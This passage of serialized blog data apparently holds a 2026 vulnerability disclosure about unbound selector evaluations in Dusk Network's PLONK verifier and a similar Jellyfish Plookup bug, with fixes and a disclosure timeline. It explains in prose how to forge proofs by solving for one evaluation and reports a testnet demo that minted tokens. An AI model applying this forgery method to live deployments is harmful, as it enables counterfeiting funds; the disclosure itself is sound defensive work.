",{"type":19,"tag":27,"props":143571,"children":143573},{"className":143572},[],[143574],{"type":24,"value":143372},{"type":24,"value":471},{"type":19,"tag":27,"props":143577,"children":143579},{"className":143578},[],[143580],{"type":24,"value":143379},{"type":24,"value":3923},{"type":19,"tag":27,"props":143583,"children":143585},{"className":143584},[],[143586],{"type":24,"value":143386},{"type":24,"value":143588},", but no ",{"type":19,"tag":27,"props":143590,"children":143592},{"className":143591},[],[143593],{"type":24,"value":143594},"c_w_eval",{"type":24,"value":143596},", so the verifier never consumes an unbound ",{"type":19,"tag":27,"props":143598,"children":143600},{"className":143599},[1411,1412],[143601],{"type":19,"tag":168,"props":143602,"children":143604},{"className":143603},[1417],[143605],{"type":19,"tag":168,"props":143606,"children":143608},{"className":143607,"ariaHidden":1423},[1422],[143609],{"type":19,"tag":168,"props":143610,"children":143612},{"className":143611},[1428],[143613,143617,143622,143627,143632,143637],{"type":19,"tag":168,"props":143614,"children":143616},{"className":143615,"style":1541},[1433],[],{"type":19,"tag":168,"props":143618,"children":143620},{"className":143619},[1439,19043],[143621],{"type":24,"value":543},{"type":19,"tag":168,"props":143623,"children":143625},{"className":143624},[19172],[143626],{"type":24,"value":500},{"type":19,"tag":168,"props":143628,"children":143630},{"className":143629,"style":111091},[1439,19043],[143631],{"type":24,"value":111094},{"type":19,"tag":168,"props":143633,"children":143635},{"className":143634,"style":91021},[1439,19043],[143636],{"type":24,"value":142224},{"type":19,"tag":168,"props":143638,"children":143640},{"className":143639},[19194],[143641],{"type":24,"value":524},{"type":24,"value":143643}," claim (",{"type":19,"tag":269,"props":143645,"children":143647},{"href":143465,"rel":143646},[273],[143648],{"type":24,"value":143469},{"type":24,"value":18197},{"type":19,"tag":47,"props":143651,"children":143652},{},[143653,143655,143742,143744,143836,143837,143844],{"type":24,"value":143654},"There is a fourth permutation commitment ",{"type":19,"tag":27,"props":143656,"children":143658},{"className":143657},[1411,1412],[143659],{"type":19,"tag":168,"props":143660,"children":143662},{"className":143661},[1417],[143663],{"type":19,"tag":168,"props":143664,"children":143666},{"className":143665,"ariaHidden":1423},[1422],[143667],{"type":19,"tag":168,"props":143668,"children":143670},{"className":143669},[1428],[143671,143675,143680,143737],{"type":19,"tag":168,"props":143672,"children":143674},{"className":143673,"style":1541},[1433],[],{"type":19,"tag":168,"props":143676,"children":143678},{"className":143677},[19172],[143679],{"type":24,"value":1152},{"type":19,"tag":168,"props":143681,"children":143683},{"className":143682},[1439],[143684,143689],{"type":19,"tag":168,"props":143685,"children":143687},{"className":143686,"style":91021},[1439,19043],[143688],{"type":24,"value":142119},{"type":19,"tag":168,"props":143690,"children":143692},{"className":143691},[1456],[143693],{"type":19,"tag":168,"props":143694,"children":143696},{"className":143695},[1461,19097],[143697,143726],{"type":19,"tag":168,"props":143698,"children":143700},{"className":143699},[1466],[143701,143721],{"type":19,"tag":168,"props":143702,"children":143704},{"className":143703,"style":90587},[1471],[143705],{"type":19,"tag":168,"props":143706,"children":143707},{"style":91068},[143708,143712],{"type":19,"tag":168,"props":143709,"children":143711},{"className":143710,"style":1481},[1480],[],{"type":19,"tag":168,"props":143713,"children":143715},{"className":143714},[1486,1487,1488,1489],[143716],{"type":19,"tag":168,"props":143717,"children":143719},{"className":143718},[1439,1489],[143720],{"type":24,"value":14978},{"type":19,"tag":168,"props":143722,"children":143724},{"className":143723},[19200],[143725],{"type":24,"value":19203},{"type":19,"tag":168,"props":143727,"children":143729},{"className":143728},[1466],[143730],{"type":19,"tag":168,"props":143731,"children":143733},{"className":143732,"style":90618},[1471],[143734],{"type":19,"tag":168,"props":143735,"children":143736},{},[],{"type":19,"tag":168,"props":143738,"children":143740},{"className":143739},[19194],[143741],{"type":24,"value":12858},{"type":24,"value":143743}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":19,"tag":27,"props":143745,"children":143747},{"className":143746},[1411,1412],[143748],{"type":19,"tag":168,"props":143749,"children":143751},{"className":143750},[1417],[143752],{"type":19,"tag":168,"props":143753,"children":143755},{"className":143754,"ariaHidden":1423},[1422],[143756],{"type":19,"tag":168,"props":143757,"children":143759},{"className":143758},[1428],[143760,143764,143821,143826,143831],{"type":19,"tag":168,"props":143761,"children":143763},{"className":143762,"style":1541},[1433],[],{"type":19,"tag":168,"props":143765,"children":143767},{"className":143766},[1439],[143768,143773],{"type":19,"tag":168,"props":143769,"children":143771},{"className":143770,"style":91021},[1439,19043],[143772],{"type":24,"value":142119},{"type":19,"tag":168,"props":143774,"children":143776},{"className":143775},[1456],[143777],{"type":19,"tag":168,"props":143778,"children":143780},{"className":143779},[1461,19097],[143781,143810],{"type":19,"tag":168,"props":143782,"children":143784},{"className":143783},[1466],[143785,143805],{"type":19,"tag":168,"props":143786,"children":143788},{"className":143787,"style":90587},[1471],[143789],{"type":19,"tag":168,"props":143790,"children":143791},{"style":91068},[143792,143796],{"type":19,"tag":168,"props":143793,"children":143795},{"className":143794,"style":1481},[1480],[],{"type":19,"tag":168,"props":143797,"children":143799},{"className":143798},[1486,1487,1488,1489],[143800],{"type":19,"tag":168,"props":143801,"children":143803},{"className":143802},[1439,1489],[143804],{"type":24,"value":14978},{"type":19,"tag":168,"props":143806,"children":143808},{"className":143807},[19200],[143809],{"type":24,"value":19203},{"type":19,"tag":168,"props":143811,"children":143813},{"className":143812},[1466],[143814],{"type":19,"tag":168,"props":143815,"children":143817},{"className":143816,"style":90618},[1471],[143818],{"type":19,"tag":168,"props":143819,"children":143820},{},[],{"type":19,"tag":168,"props":143822,"children":143824},{"className":143823},[19172],[143825],{"type":24,"value":500},{"type":19,"tag":168,"props":143827,"children":143829},{"className":143828,"style":111091},[1439,19043],[143830],{"type":24,"value":111094},{"type":19,"tag":168,"props":143832,"children":143834},{"className":143833},[19194],[143835],{"type":24,"value":524},{"type":24,"value":461},{"type":19,"tag":269,"props":143838,"children":143841},{"href":143839,"rel":143840},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[273],[143842],{"type":24,"value":143843},"permutation verifier key",{"type":24,"value":18197},{"type":19,"tag":20,"props":143846,"children":143847},{},[143848,143850,143860],{"type":24,"value":143849},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":19,"tag":269,"props":143851,"children":143854},{"href":143852,"rel":143853},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[273],[143855],{"type":19,"tag":27,"props":143856,"children":143858},{"className":143857},[],[143859],{"type":24,"value":143301},{"type":24,"value":143861},", which leaves the master equation underconstrained.",{"type":19,"tag":20,"props":143863,"children":143864},{},[143865],{"type":19,"tag":1344,"props":143866,"children":143869},{"alt":143867,"src":143868},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":19,"tag":16245,"props":143871,"children":143872},{},[],{"type":19,"tag":36,"props":143874,"children":143876},{"id":143875},"the-exploitation",[143877],{"type":24,"value":143878},"The exploitation",{"type":19,"tag":20,"props":143880,"children":143881},{},[143882],{"type":24,"value":143883},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":19,"tag":20,"props":143885,"children":143886},{},[143887,143889,143895,143897,143902,143904,143909,143911,143917],{"type":24,"value":143888},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":19,"tag":27,"props":143890,"children":143892},{"className":143891},[],[143893],{"type":24,"value":143894},"z_challenge",{"type":24,"value":143896},", it computes what the linearization polynomial ",{"type":19,"tag":293,"props":143898,"children":143899},{},[143900],{"type":24,"value":143901},"should",{"type":24,"value":143903}," evaluate to for the pairing check to pass, then solves for ",{"type":19,"tag":27,"props":143905,"children":143907},{"className":143906},[],[143908],{"type":24,"value":143422},{"type":24,"value":143910},", the single free variable that makes the verification equation balance (setting ",{"type":19,"tag":27,"props":143912,"children":143914},{"className":143913},[],[143915],{"type":24,"value":143916},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":24,"value":18197},{"type":19,"tag":20,"props":143919,"children":143920},{},[143921],{"type":19,"tag":1344,"props":143922,"children":143925},{"alt":143923,"src":143924},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":19,"tag":20,"props":143927,"children":143928},{},[143929,143931,143971,143973,143998,144000,144005],{"type":24,"value":143930},"To achieve this one may compute the linearization polynomial ",{"type":19,"tag":27,"props":143932,"children":143934},{"className":143933},[1411,1412],[143935],{"type":19,"tag":168,"props":143936,"children":143938},{"className":143937},[1417],[143939],{"type":19,"tag":168,"props":143940,"children":143942},{"className":143941,"ariaHidden":1423},[1422],[143943],{"type":19,"tag":168,"props":143944,"children":143946},{"className":143945},[1428],[143947,143951,143956,143961,143966],{"type":19,"tag":168,"props":143948,"children":143950},{"className":143949,"style":1541},[1433],[],{"type":19,"tag":168,"props":143952,"children":143954},{"className":143953,"style":90535},[1439,19043],[143955],{"type":24,"value":91354},{"type":19,"tag":168,"props":143957,"children":143959},{"className":143958},[19172],[143960],{"type":24,"value":500},{"type":19,"tag":168,"props":143962,"children":143964},{"className":143963},[1439,19043],[143965],{"type":24,"value":16729},{"type":19,"tag":168,"props":143967,"children":143969},{"className":143968},[19194],[143970],{"type":24,"value":524},{"type":24,"value":143972}," with all selectors set to zero, evaluating it at ",{"type":19,"tag":27,"props":143974,"children":143976},{"className":143975},[1411,1412],[143977],{"type":19,"tag":168,"props":143978,"children":143980},{"className":143979},[1417],[143981],{"type":19,"tag":168,"props":143982,"children":143984},{"className":143983,"ariaHidden":1423},[1422],[143985],{"type":19,"tag":168,"props":143986,"children":143988},{"className":143987},[1428],[143989,143993],{"type":19,"tag":168,"props":143990,"children":143992},{"className":143991,"style":108375},[1433],[],{"type":19,"tag":168,"props":143994,"children":143996},{"className":143995,"style":111091},[1439,19043],[143997],{"type":24,"value":111094},{"type":24,"value":143999},", and comparing to the target value; the difference divided by the coefficient of ",{"type":19,"tag":27,"props":144001,"children":144003},{"className":144002},[],[144004],{"type":24,"value":143422},{"type":24,"value":144006}," gives the required value in a single field division.",{"type":19,"tag":16245,"props":144008,"children":144009},{},[],{"type":19,"tag":36,"props":144011,"children":144013},{"id":144012},"impact-on-dusk-network",[144014],{"type":24,"value":144015},"Impact on Dusk Network",{"type":19,"tag":20,"props":144017,"children":144018},{},[144019,144021,144028],{"type":24,"value":144020},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":19,"tag":269,"props":144022,"children":144025},{"href":144023,"rel":144024},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[273],[144026],{"type":24,"value":144027},"preverify path",{"type":24,"value":144029},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":19,"tag":2869,"props":144031,"children":144032},{},[144033,144038,144043],{"type":19,"tag":47,"props":144034,"children":144035},{},[144036],{"type":24,"value":144037},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":19,"tag":47,"props":144039,"children":144040},{},[144041],{"type":24,"value":144042},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":19,"tag":47,"props":144044,"children":144045},{},[144046],{"type":24,"value":144047},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":19,"tag":20,"props":144049,"children":144050},{},[144051],{"type":24,"value":144052},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":19,"tag":2869,"props":144054,"children":144055},{},[144056,144061,144071,144083,144088],{"type":19,"tag":47,"props":144057,"children":144058},{},[144059],{"type":24,"value":144060},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":19,"tag":47,"props":144062,"children":144063},{},[144064,144066],{"type":24,"value":144065},"The malicious wallet forges a PLONK proof to create ",{"type":19,"tag":51,"props":144067,"children":144068},{},[144069],{"type":24,"value":144070},"2000 DUSK from nothing",{"type":19,"tag":47,"props":144072,"children":144073},{},[144074,144076,144081],{"type":24,"value":144075},"The malicious wallet transfers ",{"type":19,"tag":51,"props":144077,"children":144078},{},[144079],{"type":24,"value":144080},"1337 DUSK",{"type":24,"value":144082}," to the honest wallet using a normal (honestly-proved) transaction",{"type":19,"tag":47,"props":144084,"children":144085},{},[144086],{"type":24,"value":144087},"The honest node validates both transactions and mines them into blocks",{"type":19,"tag":47,"props":144089,"children":144090},{},[144091],{"type":24,"value":144092},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":19,"tag":20,"props":144094,"children":144095},{},[144096],{"type":19,"tag":1344,"props":144097,"children":144100},{"alt":144098,"src":144099},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":19,"tag":20,"props":144102,"children":144103},{},[144104,144106,144112,144114,144121],{"type":24,"value":144105},"At the time of discovery, DUSK's market cap was roughly ",{"type":19,"tag":269,"props":144107,"children":144109},{"href":139407,"rel":144108},[273],[144110],{"type":24,"value":144111},"~60M",{"type":24,"value":144113},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":19,"tag":269,"props":144115,"children":144118},{"href":144116,"rel":144117},"https://neptune.cash/articles/critical-vulnerability-disclosure",[273],[144119],{"type":24,"value":144120},"Triton VM vulnerability",{"type":24,"value":948},{"type":19,"tag":16245,"props":144123,"children":144124},{},[],{"type":19,"tag":36,"props":144126,"children":144128},{"id":144127},"the-fix",[144129],{"type":24,"value":144130},"The fix",{"type":19,"tag":20,"props":144132,"children":144133},{},[144134],{"type":24,"value":144135},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":19,"tag":43,"props":144137,"children":144138},{},[144139,144184],{"type":19,"tag":47,"props":144140,"children":144141},{},[144142,144144,144155,144157,144163,144164,144170,144171,144177,144178],{"type":24,"value":144143},"Extend ",{"type":19,"tag":269,"props":144145,"children":144148},{"href":144146,"rel":144147},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[273],[144149],{"type":19,"tag":27,"props":144150,"children":144152},{"className":144151},[],[144153],{"type":24,"value":144154},"compute_aggregate_witness",{"type":24,"value":144156}," on the prover side to also include ",{"type":19,"tag":27,"props":144158,"children":144160},{"className":144159},[],[144161],{"type":24,"value":144162},"q_arith",{"type":24,"value":471},{"type":19,"tag":27,"props":144165,"children":144167},{"className":144166},[],[144168],{"type":24,"value":144169},"q_c",{"type":24,"value":471},{"type":19,"tag":27,"props":144172,"children":144174},{"className":144173},[],[144175],{"type":24,"value":144176},"q_l",{"type":24,"value":3923},{"type":19,"tag":27,"props":144179,"children":144181},{"className":144180},[],[144182],{"type":24,"value":144183},"q_r",{"type":19,"tag":47,"props":144185,"children":144186},{},[144187,144189,144199],{"type":24,"value":144188},"Add their evaluations to ",{"type":19,"tag":269,"props":144190,"children":144193},{"href":144191,"rel":144192},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[273],[144194],{"type":19,"tag":27,"props":144195,"children":144197},{"className":144196},[],[144198],{"type":24,"value":143301},{"type":24,"value":144200}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":19,"tag":20,"props":144202,"children":144203},{},[144204,144206,144213],{"type":24,"value":144205},"This was done in ",{"type":19,"tag":269,"props":144207,"children":144210},{"href":144208,"rel":144209},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[273],[144211],{"type":24,"value":144212},"commit 645265b7",{"type":24,"value":144214},", which landed on February 14, 2026.",{"type":19,"tag":16245,"props":144216,"children":144217},{},[],{"type":19,"tag":36,"props":144219,"children":144221},{"id":144220},"why-was-this-missed",[144222],{"type":24,"value":144223},"Why was this missed?",{"type":19,"tag":20,"props":144225,"children":144226},{},[144227,144229,144236,144237,144244,144246,144253,144255,144262],{"type":24,"value":144228},"Dusk's stack had been heavily audited: a ",{"type":19,"tag":269,"props":144230,"children":144233},{"href":144231,"rel":144232},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[273],[144234],{"type":24,"value":144235},"December 2023 audit of dusk-plonk",{"type":24,"value":121877},{"type":19,"tag":269,"props":144238,"children":144241},{"href":144239,"rel":144240},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[273],[144242],{"type":24,"value":144243},"September 2024 audit of Phoenix",{"type":24,"value":144245},", and a ",{"type":19,"tag":269,"props":144247,"children":144250},{"href":144248,"rel":144249},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[273],[144251],{"type":24,"value":144252},"September 2024 Oak Security audit of the Rusk node library",{"type":24,"value":144254},". Dusk's public ",{"type":19,"tag":269,"props":144256,"children":144259},{"href":144257,"rel":144258},"https://dusk.network/news/audits-overview",[273],[144260],{"type":24,"value":144261},"audits overview",{"type":24,"value":144263}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":19,"tag":20,"props":144265,"children":144266},{},[144267,144269,144274],{"type":24,"value":144268},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":19,"tag":293,"props":144270,"children":144271},{},[144272],{"type":24,"value":144273},"evaluations",{"type":24,"value":948},{"type":19,"tag":20,"props":144276,"children":144277},{},[144278],{"type":24,"value":144279},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":19,"tag":20,"props":144281,"children":144282},{},[144283],{"type":24,"value":144284},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":19,"tag":36,"props":144286,"children":144288},{"id":144287},"a-similar-bug-in-espresso-systems-jellyfish",[144289],{"type":24,"value":144290},"A similar bug in Espresso Systems' Jellyfish",{"type":19,"tag":20,"props":144292,"children":144293},{},[144294,144296,144303],{"type":24,"value":144295},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":19,"tag":269,"props":144297,"children":144300},{"href":144298,"rel":144299},"https://github.com/EspressoSystems/jellyfish/",[273],[144301],{"type":24,"value":144302},"jf-plonk",{"type":24,"value":144304}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":19,"tag":20,"props":144306,"children":144307},{},[144308,144310,144317,144319,144330,144332,144357,144359,144384],{"type":24,"value":144309},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":19,"tag":269,"props":144311,"children":144314},{"href":144312,"rel":144313},"https://eprint.iacr.org/2020/315",[273],[144315],{"type":24,"value":144316},"Plookup",{"type":24,"value":144318}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":19,"tag":269,"props":144320,"children":144323},{"href":144321,"rel":144322},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[273],[144324],{"type":19,"tag":27,"props":144325,"children":144327},{"className":144326},[],[144328],{"type":24,"value":144329},"append_plookup_evaluations",{"type":24,"value":144331}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":19,"tag":27,"props":144333,"children":144335},{"className":144334},[1411,1412],[144336],{"type":19,"tag":168,"props":144337,"children":144339},{"className":144338},[1417],[144340],{"type":19,"tag":168,"props":144341,"children":144343},{"className":144342,"ariaHidden":1423},[1422],[144344],{"type":19,"tag":168,"props":144345,"children":144347},{"className":144346},[1428],[144348,144352],{"type":19,"tag":168,"props":144349,"children":144351},{"className":144350,"style":108375},[1433],[],{"type":19,"tag":168,"props":144353,"children":144355},{"className":144354,"style":91021},[1439,19043],[144356],{"type":24,"value":111438},{"type":24,"value":144358}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":19,"tag":27,"props":144360,"children":144362},{"className":144361},[1411,1412],[144363],{"type":19,"tag":168,"props":144364,"children":144366},{"className":144365},[1417],[144367],{"type":19,"tag":168,"props":144368,"children":144370},{"className":144369,"ariaHidden":1423},[1422],[144371],{"type":19,"tag":168,"props":144372,"children":144374},{"className":144373},[1428],[144375,144379],{"type":19,"tag":168,"props":144376,"children":144378},{"className":144377,"style":108375},[1433],[],{"type":19,"tag":168,"props":144380,"children":144382},{"className":144381,"style":91021},[1439,19043],[144383],{"type":24,"value":111438},{"type":24,"value":144385},", so the prover can adjust them after the fact to make the check pass.",{"type":19,"tag":20,"props":144387,"children":144388},{},[144389,144391,144397,144399,144405],{"type":24,"value":144390},"The attack requires modifying a single evaluation (",{"type":19,"tag":27,"props":144392,"children":144394},{"className":144393},[],[144395],{"type":24,"value":144396},"key_table_next_eval",{"type":24,"value":144398},") by ",{"type":19,"tag":27,"props":144400,"children":144402},{"className":144401},[],[144403],{"type":24,"value":144404},"delta / (u * v^3)",{"type":24,"value":144406}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":19,"tag":20,"props":144408,"children":144409},{},[144410,144412,144419,144421,144432],{"type":24,"value":144411},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":19,"tag":269,"props":144413,"children":144416},{"href":144414,"rel":144415},"https://github.com/EspressoSystems/jellyfish/pull/867",[273],[144417],{"type":24,"value":144418},"PR #867",{"type":24,"value":144420}," fixed the issue and was tagged as ",{"type":19,"tag":269,"props":144422,"children":144425},{"href":144423,"rel":144424},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[273],[144426],{"type":19,"tag":27,"props":144427,"children":144429},{"className":144428},[],[144430],{"type":24,"value":144431},"jf-plonk-v0.8.0",{"type":24,"value":144433}," on March 18, 2026.",{"type":19,"tag":16245,"props":144435,"children":144436},{},[],{"type":19,"tag":36,"props":144438,"children":144440},{"id":144439},"toward-standardization",[144441],{"type":24,"value":144442},"Toward standardization",{"type":19,"tag":20,"props":144444,"children":144445},{},[144446,144448,144455],{"type":24,"value":144447},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":19,"tag":269,"props":144449,"children":144452},{"href":144450,"rel":144451},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[273],[144453],{"type":24,"value":144454},"similar patterns appear across zkVMs",{"type":24,"value":144456},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":19,"tag":20,"props":144458,"children":144459},{},[144460],{"type":24,"value":144461},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":19,"tag":20,"props":144463,"children":144464},{},[144465],{"type":24,"value":144466},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":19,"tag":36,"props":144468,"children":144469},{"id":58308},[144470],{"type":24,"value":144471},"Disclosure timeline",{"type":19,"tag":53228,"props":144473,"children":144474},{},[144475,144491],{"type":19,"tag":120485,"props":144476,"children":144477},{},[144478],{"type":19,"tag":120489,"props":144479,"children":144480},{},[144481,144486],{"type":19,"tag":120493,"props":144482,"children":144483},{},[144484],{"type":24,"value":144485},"Date",{"type":19,"tag":120493,"props":144487,"children":144488},{},[144489],{"type":24,"value":144490},"Event",{"type":19,"tag":120513,"props":144492,"children":144493},{},[144494,144507,144520,144532,144558,144578],{"type":19,"tag":120489,"props":144495,"children":144496},{},[144497,144502],{"type":19,"tag":120520,"props":144498,"children":144499},{},[144500],{"type":24,"value":144501},"2026-02-13",{"type":19,"tag":120520,"props":144503,"children":144504},{},[144505],{"type":24,"value":144506},"Dusk vulnerability reported",{"type":19,"tag":120489,"props":144508,"children":144509},{},[144510,144515],{"type":19,"tag":120520,"props":144511,"children":144512},{},[144513],{"type":24,"value":144514},"2026-02-14",{"type":19,"tag":120520,"props":144516,"children":144517},{},[144518],{"type":24,"value":144519},"Dusk acknowledged",{"type":19,"tag":120489,"props":144521,"children":144522},{},[144523,144527],{"type":19,"tag":120520,"props":144524,"children":144525},{},[144526],{"type":24,"value":144514},{"type":19,"tag":120520,"props":144528,"children":144529},{},[144530],{"type":24,"value":144531},"Dusk fix committed",{"type":19,"tag":120489,"props":144533,"children":144534},{},[144535,144540],{"type":19,"tag":120520,"props":144536,"children":144537},{},[144538],{"type":24,"value":144539},"2026-02-27",{"type":19,"tag":120520,"props":144541,"children":144542},{},[144543,144545,144556],{"type":24,"value":144544},"Public ",{"type":19,"tag":269,"props":144546,"children":144549},{"href":144547,"rel":144548},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[273],[144550],{"type":19,"tag":27,"props":144551,"children":144553},{"className":144552},[],[144554],{"type":24,"value":144555},"dusk-rusk-1.6.0",{"type":24,"value":144557}," release published",{"type":19,"tag":120489,"props":144559,"children":144560},{},[144561,144566],{"type":19,"tag":120520,"props":144562,"children":144563},{},[144564],{"type":24,"value":144565},"2026-03-16",{"type":19,"tag":120520,"props":144567,"children":144568},{},[144569,144571,144577],{"type":24,"value":144570},"Jellyfish fix PR opened (",{"type":19,"tag":269,"props":144572,"children":144574},{"href":144414,"rel":144573},[273],[144575],{"type":24,"value":144576},"#867",{"type":24,"value":524},{"type":19,"tag":120489,"props":144579,"children":144580},{},[144581,144586],{"type":19,"tag":120520,"props":144582,"children":144583},{},[144584],{"type":24,"value":144585},"2026-03-18",{"type":19,"tag":120520,"props":144587,"children":144588},{},[144589,144591,144596,144598],{"type":24,"value":144590},"Jellyfish fix merged in ",{"type":19,"tag":269,"props":144592,"children":144594},{"href":144414,"rel":144593},[273],[144595],{"type":24,"value":144576},{"type":24,"value":144597}," and tagged as ",{"type":19,"tag":269,"props":144599,"children":144601},{"href":144423,"rel":144600},[273],[144602],{"type":19,"tag":27,"props":144603,"children":144605},{"className":144604},[],[144606],{"type":24,"value":144431},{"type":19,"tag":36,"props":144608,"children":144610},{"id":144609},"acknowledgements",[144611],{"type":24,"value":144612},"Acknowledgements",{"type":19,"tag":20,"props":144614,"children":144615},{},[144616],{"type":24,"value":144617},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":198,"depth":198,"links":144619},[144620,144627,144628,144629,144630,144631,144632,144633,144634,144635,144636,144637],{"id":139437,"depth":198,"text":139440,"children":144621},[144622,144623,144624,144625,144626],{"id":139462,"depth":415,"text":139465},{"id":140265,"depth":415,"text":140268},{"id":141463,"depth":415,"text":141466},{"id":141493,"depth":415,"text":141496},{"id":141774,"depth":415,"text":141777},{"id":142507,"depth":198,"text":142510},{"id":142645,"depth":198,"text":142648},{"id":87790,"depth":198,"text":143276},{"id":143875,"depth":198,"text":143878},{"id":144012,"depth":198,"text":144015},{"id":144127,"depth":198,"text":144130},{"id":144220,"depth":198,"text":144223},{"id":144287,"depth":198,"text":144290},{"id":144439,"depth":198,"text":144442},{"id":58308,"depth":198,"text":144471},{"id":144609,"depth":198,"text":144612},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":144642,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":144643,"description":144644,"date":144645,"author":121144,"image":144646,"isFeatured":14,"onBlogPage":14,"tags":144648,"body":144651,"_type":242,"_id":154031,"_source":244,"_file":154032,"_stem":154033,"_extension":247},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write 